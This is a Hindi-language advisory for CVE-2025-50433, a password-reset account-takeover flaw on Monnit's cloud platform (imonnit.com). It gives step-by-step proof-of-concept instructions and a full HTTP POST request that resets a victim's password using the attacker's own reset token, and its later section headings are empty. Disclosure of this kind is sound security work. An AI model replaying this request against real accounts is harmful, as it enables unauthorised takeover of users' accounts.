CVE-2025-50433 — मॉनिट क्लाउड प्लेटफ़ॉर्म्स (*.imonnit.com) को प्रभावित करने वाली गंभीर खाता अधिग्रहण भेद्यता

सारांश

एक गंभीर प्रमाणीकरण भेद्यता *.imonnit.com पर मौजूद है जो किसी भी उपयोगकर्ता खाते का पूर्ण खाता अधिग्रहण (ATO) पीड़ित के हस्तक्षेप के बिना करने की अनुमति देती है।

बैकएंड पासवर्ड-रीसेट टोकन और लक्ष्य ईमेल के बीच संबंध को मान्य करने में विफल रहता है, जिससे हमलावर अपने स्वयं के वैध रीसेट टोकन का उपयोग करके किसी भी पीड़ित खाते का पासवर्ड रीसेट कर सकते हैं।

हमला वेक्टर (चरण-दर-चरण PoC)

हमलावर खाता A ([email protected]) बनाता है।
पीड़ित के पास खाता B ([email protected]) है।
हमलावर A और B दोनों के लिए पासवर्ड रीसेट का अनुरोध करता है।
हमलावर को केवल खाता A के लिए एक वैध रीसेट टोकन प्राप्त होता है।
हमलावर टोकन A का उपयोग करके पासवर्ड रीसेट फॉर्म खोलता है:

    POST /Account/PasswordReset/?VerificationCode=TTT4EB4I HTTP/1.1
    Host: www.imonnit.com
    Cookie: ASP.NET_SessionId=jf3y4eg3qdrefnfnqcj42yut; __RequestVerificationToken=dObesuZNYwsn9USVixM8aZTa9i_E_18PRpfCE0L39NUJlfolWpjSYX0BW32_mK50O5fcGbr3oBMg2S6D4ONl0bJhJS4kmxtHeQEn8Y0kNNt324q5Hc0Gu3JBHH7CwrylvP8XNQ2

    __RequestVerificationToken=-realtoken5K0nzPC8H2Aw2&NewPassword=1!Password%21&ConfirmPassword=1!Password%21&[email protected]&[email protected]

CVE-2025-50433

सबसे लोकप्रिय

प्रभाव

गंभीरता

प्रभावित डोमेन

मूल कारण

प्रभावित एंडपॉइंट

सिफारिशें

खोजकर्ता